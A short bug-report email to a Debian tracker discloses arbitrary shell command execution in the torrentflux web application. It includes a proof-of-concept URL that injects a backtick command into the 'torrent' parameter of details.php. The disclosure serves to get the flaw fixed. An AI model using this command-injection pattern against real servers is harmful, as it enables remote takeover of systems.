Bug#400582: arbitrary code execution in metaInfo.php in torrentflux

[Stefan Fritsch]

I was able to exploit the problem mentioned above to execute shell 
commands. $cfg["enable_file_priority"] must be false.

Try
http://xxx/torrentflux/details.php?torrent=`touch /tmp/hello`

Cheers,
Stefan



--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]